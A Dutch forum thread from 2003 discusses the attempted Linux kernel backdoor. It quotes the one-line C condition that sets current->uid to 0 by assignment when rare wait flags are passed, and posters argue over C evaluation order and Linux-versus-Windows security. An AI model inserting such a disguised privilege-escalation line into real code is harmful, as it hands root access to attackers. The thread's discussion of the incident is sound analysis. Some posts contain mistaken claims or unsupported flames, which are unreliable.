Backdoor in nieuwe Linux kernel

quote:

---

"Whoever did this knew what they were doing," says Larry McVoy, founder of San Francisco-based BitMover, Inc., which hosts the Linux kernel development site that was compromised. "They had to find some flags that could be passed to the system without causing an error, and yet are not normally passed together... There isn't any way that somebody could casually come in, not know about UNIX, not know the Linux kernel code, and make this change. Not a chance."

---

quote:

---

Op vrijdag 7 november 2003 09:57 schreef Jarno het volgende:
Dit is natuurlijk wel de nachtmerrie van de Oopen Source gemeenschap: saboteurs binnen de ontwikkelploeg...

---

quote:

---

Op vrijdag 7 november 2003 10:04 schreef bobjuh het volgende:
Nu maar ff wachten op de *nix nerd die hier weer hard gaan lopen roepen over dat nog altijd veiliger is dan windows

---

quote:

---

Op vrijdag 7 november 2003 10:04 schreef ianweeks het volgende:

[..]

Correctie: de nachtmerrie van elke programmeur.

---

quote:

---

Op vrijdag 7 november 2003 10:04 schreef bobjuh het volgende:
Nu maar ff wachten op de *nix nerd die hier weer hard gaan lopen roepen over dat nog altijd veiliger is dan windows

---

quote:

---

Op vrijdag 7 november 2003 10:09 schreef BladE-l----- het volgende:

[..]

Er is natuurlijk wel een verschil tussen stomme fouten van Microsoft en opzettelijke sabotage in de opensource-gemeenschap.

---

[Dit bericht is gewijzigd door Ablaze op 07-11-2003 10:14]

(oh laat maar is geen duidelijkheid over in het bericht)

Het zou me niet verbazen als er al een eerdere succesvolle poging is geweest. Maar goed zoals ook al aan het eind staat, als er plotseling allerlei linux bakken local ge-exploited worden dan weten ze vanzelf wel dat er iets mis is:)

De gemiddelde Linux gebruiker is een stuk slimmer dan de gemiddelde Windows gebruiker. Als iemand een Linux servertje gaat draaien dan weet degene meestal al veel van servers ect af.

Met windows heb je allemaal van die voorgekauwde onzin zoals netwerk diskettes enzo...

quote:

---

Op vrijdag 7 november 2003 10:12 schreef Ablaze het volgende:

[..]

In Linux zitten ongetwijfeld ook stomme fouten. Natuurlijk worden die meestal wel snel verholpen. Maar omdat 99% van de thuisgebruikers Windows gebruikt, staan fouten in Windows veel vaker in de publiciteit.

---

quote:

---

Op vrijdag 7 november 2003 10:02 schreef Mangoworks2002 het volgende:
Zo zie je maar, elk OS heeft zo zijn foutjes.

---

quote:

---

Op vrijdag 7 november 2003 10:12 schreef Ablaze het volgende:
In Linux zitten ongetwijfeld ook stomme fouten. Natuurlijk worden die meestal wel snel verholpen. Maar omdat 99% van de thuisgebruikers Windows gebruikt, staan fouten in Windows veel vaker in de publiciteit.

---

Wil iedereen die dit leest en denkt dat deze jongen gelijk heeft, please ff dit artikeltje lezen, zodat dit misverstand snel uit de wereld geholpen wordt?!?

http://www.theregister.co.uk/content/56/33226.html

Het is geschreven door iemand van SecurityFocus, een grote speler in de security wereld.

Ik heb dit argument vaak gebruikt zien worden door mensen die toch niet helemaal snappen hoe het in elkaar zit. Ik ging wel eens met ze in discussie maar tegenwoordig post ik dit artikeltje. Mooie quote: To mess up a Linux box, you need to work at it; to mess up your Windows box, you just need to work on it.

quote:

---

Op vrijdag 7 november 2003 10:06 schreef MindlessWanker het volgende:

[..]

*oordoppen alvast indoet*

---

quote:

---

Op vrijdag 7 november 2003 11:02 schreef arnout109 het volgende:
windows is beter flame flame

---

quote:

---

Op vrijdag 7 november 2003 10:03 schreef BladE-l----- het volgende:

[..]

Sinds wanneer kent Gates Unix/Linux-code?

---

quote:

---

Op vrijdag 7 november 2003 10:36 schreef Dr.Stupid het volgende:
Dit is geen fout maar moedwillige sabotage. Iets anders dan uit arrogantie fouten niet opsporen en oplossen.

---

quote:

---

Op vrijdag 7 november 2003 10:04 schreef bobjuh het volgende:
Nu maar ff wachten op de *nix nerd die hier weer hard gaan lopen roepen over dat nog altijd veiliger is dan windows

---

quote:

---

Op vrijdag 7 november 2003 11:29 schreef Roellio het volgende:

[..]

Windows schijnt standaard backdoored te zijn. En ik heb geen reden om aan te nemen dat dit onwaar zou zijn.

---

quote:

---

Op vrijdag 7 november 2003 11:16 schreef Tijn het volgende:

[..]

Iedereen kent de sourcecode van Linux. Das het hele idee van Open Source.

---

quote:

---

Op vrijdag 7 november 2003 11:39 schreef Pharkus het volgende:

[..]

url bron? anders schaar ik het achter broodje aap/conspiracy theories.

---

quote:

---

Op vrijdag 7 november 2003 10:49 schreef ianweeks het volgende:
Wil iedereen die dit leest en denkt dat deze jongen gelijk heeft, please ff dit artikeltje lezen, zodat dit misverstand snel uit de wereld geholpen wordt?!?

http://www.theregister.co.uk/content/56/33226.html

---

Ik vind dat voor het meest gebruikte desktop os nou niet echt bepaald zorgelijk. En waarom zou je een virus schrijven voor een OS waar toch geen hond op werkt? Het blijft gewoon een feit dat er zoveel virussen uitkomen voor windows omdat er meer mensen gebruik van maken.

Overigens is het feit 60.000 virussen een niets zeggend getal. Immers zijn veel virussen klonen van elkaar en gebruiken de zelfde "gaten".

Dus probeer eerst maar is echte cijfers te vinden over hoeveel gaten we het eigelijk hebben. (en die staan dus vrijwel gelijk aan de updates van windows, en dan zie ik dat er voor linux veel meer updates nodig zijn.)

quote:

---

k vind dat voor het meest gebruikte desktop os nou niet echt bepaald zorgelijk. En waarom zou je een virus schrijven voor een OS waar toch geen hond op werkt?

---

quote:

---

Op vrijdag 7 november 2003 12:01 schreef BladE-l----- het volgende:[..]
Misschien is linux op de desktop niet zo wijdverspreid als Windows, de vele gaten in IIS en Windows Server heeft wel zo zijn effect op de serverwereld.
[..]
Maar dit is niet een Linux vs Windows topic, het gaat hier over het bericht dat iemand de Linux code heeft geprobeerd te saboteren.

---

Maar je hebt gelijk, het gaat over de vermeende sabotage. Nou het lijkt mij gewoon prutswerk, foutje is menselijk.

quote:

---

Op vrijdag 7 november 2003 12:01 schreef Hiawatha het volgende:
Dan daag ik je bij deze uit om een succesvol virus te schrijven voor Linux of MacOSX. Kan je alvast verklappen dat je dat niet gaat lukken, omdat Unix structureel beter en veiliger in elkaar zit dan Windows.

---

quote:

---

Op vrijdag 7 november 2003 12:05 schreef markvleth het volgende:

[..]

In de webserver markt vind ik windows ook bepaald niet sterk. De IIS loopt ook niet echt leker en persoonlijk vind ik dat apache ding ok al helemaal niks. Ik geef meer om Tomcat...

Maar je hebt gelijk, het gaat over de vermeende sabotage. Nou het lijkt mij gewoon prutswerk, foutje is menselijk.

---

quote:

---

Op vrijdag 7 november 2003 12:10 schreef Hiawatha het volgende:
Als laatste over Windows vs Unix: bewijs van mijn uitspraak is in de geschiedenis van de IT te vinden. Aantal virussen, security problemen, bedrijven en overheden die Unix kiezen ipv Windows, toeneemende populariteit van Linux enz.

---

quote:

---

Op vrijdag 7 november 2003 12:01 schreef Hiawatha het volgende:

[..]

Dan daag ik je bij deze uit om een succesvol virus te schrijven voor Linux of MacOSX. Kan je alvast verklappen dat je dat niet gaat lukken, omdat Unix structureel beter en veiliger in elkaar zit dan Windows.

---

quote:

---

Op vrijdag 7 november 2003 12:12 schreef markvleth het volgende:

[..]

Dit soort uitspraken heb ik een stukje terug al beargumenteerd waarom deze aanname niet gemaakt mag worden.

---

quote:

---

Op vrijdag 7 november 2003 13:12 schreef Hiawatha het volgende:

[..]

werkwijze?

---

quote:

---

Op vrijdag 7 november 2003 11:23 schreef devzero het volgende:
Dit zijn briliante hacks Geen bug vinden/exploiteren maar gewoon er zelf in zetten. Hoeveel van dat soort code zou er nog meer in zitten zonder dat iemand het weet.

---

quote:

---

Op vrijdag 7 november 2003 11:29 schreef Roellio het volgende:

[..]

Windows schijnt standaard backdoored te zijn. En ik heb geen reden om aan te nemen dat dit onwaar zou zijn.

---

standaart linux is zo lek als een zeef

quote:

---

Op vrijdag 7 november 2003 14:36 schreef werkeend het volgende:

[..]

standaart windows heeft geen backdoor... totdat je ungepatchte iis servers gaat draaien..

standaart linux is zo lek als een zeef

---

Linux is een Kernel, en voor het geval je een distributie bedoeld is Linux absoluut veiliger. Een RedHat die net zo veel software bevat als een Windows install is veiliger, om maar te zwijgen over Debian installaties.

We mogen hier niet flamen, maar als dergelijke clueloze apen zomaar iets brabbelen kan ik dat toch even niet laten.

quote:

---

Op vrijdag 7 november 2003 11:47 schreef BladE-l----- het volgende:

[..]

Duh, lees die quote dan. Niet iedereen weet genoeg van linux-code om een dergelijke backdoor erin te zetten.

---

code:

---

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
  retval = -EINVAL;

---

Ten tweede als ik in een vergelijking een toewijzing neer zou zetten dan mag ik toch hopen dat die ook wordt uitgevoerd. Denk bijvoorbeeld aan het gebruik van ++. Oftewel de current->uid zou altijd op 0 gezet moeten worden met bovenstaande code en dat zou dus simpelweg betekenen dat de programmeur van dit stukje per abuis = heeft neergezet ipv ==

Misschien dat iemand ziet wat er schort aan mijn uitleg want ik ga er dan maar ff vanuit dat al die security experts het bij het juiste eind hebben.

[Dit bericht is gewijzigd door Najra op 07-11-2003 15:09]

quote:

---

Op vrijdag 7 november 2003 15:04 schreef Najra het volgende:
Het zou gaan om deze code

code:

---

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
  retval = -EINVAL;

---

De uitleg die hieraan gegeven wordt is dat current->uid op 0 wordt gezet alleen als options gelijk is aan (__WCLONE|__WALL). Maar dat is naar mijn idee echt onzin. Ten eerste worden expressies van rechts naar links gevalueerd, (current->uid = 0) wordt dus eerder bekeken dan (options == (__WCLONE|__WALL)).

---

of

if (bla == bla && blaat == blaat)
bladiebla

neerzet, het resultaat is hetzelfde. In PHP tenminste.

Nog wat dingen:

quote:

---

Op vrijdag 7 november 2003 11:47 schreef BladE-l----- het volgende:Duh, lees die quote dan. Niet iedereen weet genoeg van linux-code om een dergelijke backdoor erin te zetten.

---

Voor de rest: Dat 1 keer zo iets wordt gedaan, wil niet zeggen dat er gelijk tig van dit soort dingen zijn. Deze fout is relatief snel aan het licht gekomen. Reken maar dat de code gecontroleerd wordt, er zijn duizenden mensen mee bezig.

Ik vraag me wel af hoe dit er uberhaupt in gekomen is. Ik weet niet hoe de kernel precies wordt ontwikkeld, maar het lijkt me toch niet dat iedereen zomaar de officiele versie van de kernel kan veranderen. Voordat er een verandering doorgevoerd wordt moet daar toch wel over gesproken worden op nieuwsgroepen oid? Lijkt me toch dat er ingebroken is op een server.

quote:

---

Op vrijdag 7 november 2003 15:28 schreef yootje het volgende:

[..]

of ik nou
if (blaat == blaat && bla == bla)
bladiebla

of

if (bla == bla && blaat == blaat)
bladiebla

neerzet, het resultaat is hetzelfde. In PHP tenminste.

---

Ik begrijp dat het een issue is dat men niet zo snel kan verklaren hoe de code er gekomen is. Maar dat het een hack zou zijn klopt niet.

quote:

---

Op vrijdag 7 november 2003 12:30 schreef Hiawatha het volgende:
Niet alleen in de Linux kernel, maar in source code in het algemeen. Zeker in de Open Source wereld kan iedereen meewerken aan code. Wat nou als een kwaad willende persoon zich inzet voor een project en bij het core-team wordt geplaatst. Een aanpassing is dan zo gemaakt. Zeker een subtiele verandering zoals die net in de Linux kernel is gemaakt (== vervangen door =). Dat zie je snel over het hoofd. Ik denk dat uit dit voorval een goede les geleerd kan worden.

---

Ik maak ook soms nog wel eens de fout een =je te vergeten in een if (leuk is dat als je in een recursieve functie zit), mi zou de compiler er over moeten zeuren, maar ansi denkt daar anders over, mede door het ontbreken van datatype bool in C.

op if(x=5) geeft de gcc compiler met -Wall de foutmelding (zonder Wall geen problemen):
warning: suggest parentheses around assignment used as truth value

dus als we if((x=5)) doen dan krijgen we de warning niet meer. Die dubbele haken zouden een codereviewer dan wel moeten alerten, alhoewel bij meerdere nested haken is het overzicht al snel zoek. Liever zou ik gezien hebben dat er a een bool datatype zou zijn b, als je een niet booleaanse expressie gebruikt in een if/switch/while ed, dat je het dan expliciet naar bool moet casten.

quote:

---

Op vrijdag 7 november 2003 15:04 schreef Najra het volgende:
Het zou gaan om deze code

code:

---

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
  retval = -EINVAL;

---

De uitleg die hieraan gegeven wordt is dat current->uid op 0 wordt gezet alleen als options gelijk is aan (__WCLONE|__WALL). Maar dat is naar mijn idee echt onzin. Ten eerste worden expressies van rechts naar links gevalueerd, (current->uid = 0) wordt dus eerder bekeken dan (options == (__WCLONE|__WALL)) .

Ten tweede als ik in een vergelijking een toewijzing neer zou zetten dan mag ik toch hopen dat die ook wordt uitgevoerd. Denk bijvoorbeeld aan het gebruik van ++. Oftewel de current->uid zou altijd op 0 gezet moeten worden met bovenstaande code en dat zou dus simpelweg betekenen dat de programmeur van dit stukje per abuis = heeft neergezet ipv ==

Misschien dat iemand ziet wat er schort aan mijn uitleg want ik ga er dan maar ff vanuit dat al die security experts het bij het juiste eind hebben.

---

code:

---

#include <stdio.h>

int waar(){
      printf("%s","waar\n");
      return 1;
}
int onwaar(){
      printf("%s","onwaar\n");
      return 0;
}
int main(){
      printf("%s","onwaar(),waar()\n");
      if((onwaar()) && (waar())){
            //bla;
      }
      printf("%s","waar(),onwaar()\n");
      if((waar()) && (onwaar())){
            //bla
      }
      return 0;
}

---

code:

---

onwaar(),waar()
onwaar
waar(),onwaar()
waar
onwaar

---

quote:

---

However sophisticated, the hack fell apart Wednesday, when a routine file integrity check told McVoy that someone had manually changed a copy of a kernel source code file that's normally only modified by an automated process, specifically one that pulls the code from BitMover's BitKeeper software collaboration tool and repackages it for the open source CVS system still favored by some developers.

---

[Dit bericht is gewijzigd door Pharkus op 08-11-2003 16:59]

quote:

---

Op vrijdag 7 november 2003 15:28 schreef yootje het volgende:

[..]

of ik nou
if (blaat == blaat && bla == bla)
bladiebla

of

if (bla == bla && blaat == blaat)
bladiebla

neerzet, het resultaat is hetzelfde. In PHP tenminste.

---

quote:

---

Op vrijdag 7 november 2003 13:09 schreef Skinkie het volgende:
nu heb ik net 2.4.22 en 2.6.0-test9 nagelopen en current_uid wordt niet 0... dus iemand mag mij ff verlichten...

---

Of in ieder geval, dat is wat ik uit de thread begrepen heb. Wat best lastig is, want het development model van Linux is tegenwoordig zo te zien nog ingewikkelder dan de kernel zelf...

Maar goed, dus nog even voor alle duidelijkheid: Deze backdoor heeft het daglicht niet tot amper gezien!

quote:

---

Op vrijdag 7 november 2003 12:17 schreef Hiawatha het volgende:
Zo'n virus zal geen lang leven hebben. De Open Source wereld is ook open in het vermelding van fouten. Fout wordt gefixed en dag dag virus.

---

Want om eerlijk te zijn, als alle Windows beheerders wisten waar ze mee bezig waren zou een gemiddelde worm ook veel meer moeite hebben met z'n verspreiding.

quote:

---

Op vrijdag 7 november 2003 12:12 schreef markvleth het volgende:

[..]

Dit soort uitspraken heb ik een stukje terug al beargumenteerd waarom deze aanname niet gemaakt mag worden.

---

quote:

---

Op vrijdag 7 november 2003 12:26 schreef Pharkus het volgende:
Hoe moeillijk zou het zijn om daadwerkelijk onopgemerkt zulke veranderingen in de linux kernel toe te voegen?

---

quote:

---

Op zaterdag 8 november 2003 18:16 schreef Jalu het volgende:
In ieder geval stukken moeilijker dan bij Windows, aangezien het aantal ontwikkelaars veel groter en de openheid bij die ontwikkeling zelfs 100% groter is dan bij het gesloten Windows. God mag weten hoeveel backdoors er al in Windows zitten, die er moedwillig door MS ingebouwd zijn. Nee, het is niet te bewijzen dat ze er zijn. Maar ook niet dat ze er niet zijn...

---

Tweede is zoals jij suggereert dat er moedwillige vanuit bedrijfspolicy backdoors worden in gebouwd. Dan moeten er dus meerdere mensen (hoge personen) zijn die er van af weten. Dus deze mensen moet je koste wat kost in dienst houden en tevreden houden, want als ze dat gaan lekken dan is het eind van (in dit geval). Niet te vergeten wat mensen die er van af weten wel niet kunnen roepen op een nieuwjaarsborrel

quote:

---

Op zaterdag 8 november 2003 18:32 schreef Pharkus het volgende:

[..]

Ik wil niet weer discussie win-linux oprakelen, maar het is voor een bedrijf zeer onwenselijk als dit soort backdoors naar buiten komen (ook voor open source). In een bedrijf kan het op verschillende niveau's gebeuren, een programmeur die voor zichzelf een backdoor in bouwt en dit geheim houdt en ook nog eens langs de controle/review board weten te loodsen.

Tweede is zoals jij suggereert dat er moedwillige vanuit bedrijfspolicy backdoors worden in gebouwd. Dan moeten er dus meerdere mensen (hoge personen) zijn die er van af weten. Dus deze mensen moet je koste wat kost in dienst houden en tevreden houden, want als ze dat gaan lekken dan is het eind van (in dit geval). Niet te vergeten wat mensen die er van af weten wel niet kunnen roepen op een nieuwjaarsborrel

---

De code is tijdens een van de standaardchecks eruit gevist.
Het heeft nooit de main tree bereikt, het enkel development deel (als ik het zo goed uitleg). Dat de poging in een vroeg stadium is gevonden bewijst dat het systeem werkt.

Trouwens de hack was een local exploit.

Correct me if I'm wrong, ben geen expert op het gebied.

De grootste security risico's lijkem gerelateerd aan de vele app's die er beschikbaar zijn en die niet zo goed gecontroleerd worden als de kernel, maar ja, deze risico's heb je ook bij andere os'en.

quote:

---

Op zaterdag 8 november 2003 18:52 schreef nipeng het volgende:
Dit is wat ik ervan begrijp:

De code is tijdens een van de standaardchecks eruit gevist.
Het heeft nooit de main tree bereikt, het enkel development deel (als ik het zo goed uitleg). Dat de poging in een vroeg stadium is gevonden bewijst dat het systeem werkt.

Trouwens de hack was een local exploit.

Correct me if I'm wrong, ben geen expert op het gebied.

De grootste security risico's lijkem gerelateerd aan de vele app's die er beschikbaar zijn en die niet zo goed gecontroleerd worden als de kernel, maar ja, deze risico's heb je ook bij andere os'en.

---

quote:

---

Op zaterdag 8 november 2003 16:50 schreef Pharkus het volgende:

[..]

Het wordt van links naar rechts geevalueerd. Dus als de eerste expressie onwaar is dan wordt de tweede niet geevalueerd, dit is gedaan om de snelheid op te schroeven, waarom zou je in een && de tweede expressie ook gaan evualueren als het nooit meer true gaat worden?

---

Ten tweede zie ik in waar ik fout zit. Het is niet volgorde van expressie behandeling waar je naar moet kijken maar simpelweg naar operator precedence de associativiteit van de operator. Bij een && is die links-rechts dus links wordt als eerste behandeld.

[Dit bericht is gewijzigd door Najra op 11-11-2003 00:03]

quote:

---

Op vrijdag 7 november 2003 10:09 schreef BladE-l----- het volgende:
Er is natuurlijk wel een verschil tussen stomme fouten van Microsoft en opzettelijke sabotage in de opensource-gemeenschap.

---

quote:

---

Op maandag 10 november 2003 23:54 schreef Najra het volgende:
Omdat er in de tweede expressie een toewijzing plaats vindt. Als die toewijzing later gebruikt moet worden dan loopt je hele programma in de soep omdat die nooit heeft plaatsgevonden. Maar die optimalisatie wordt dus wel uitgevoerd.

---

quote:

---

Op dinsdag 11 november 2003 12:32 schreef Pharkus het volgende:

[..]

Ik vind toewijzingen zo ie zo niet horen in if's while's etc (dat het wel veel gebruikt wordt ok). Dit is dus ook een van de redenen om toewijzingen dus ook niet in if's te doen, er is een kans dat ze niet toegewezen worden. Plus dat het duidelijker is om de toewijzing eerder of later te doen.

---

Dan erbij gaat in sommige gevallen het argument niet eens op. Bijvoorbeeld bij het gebruik van de ++ en -- operators. Net zo goed toewijzingen.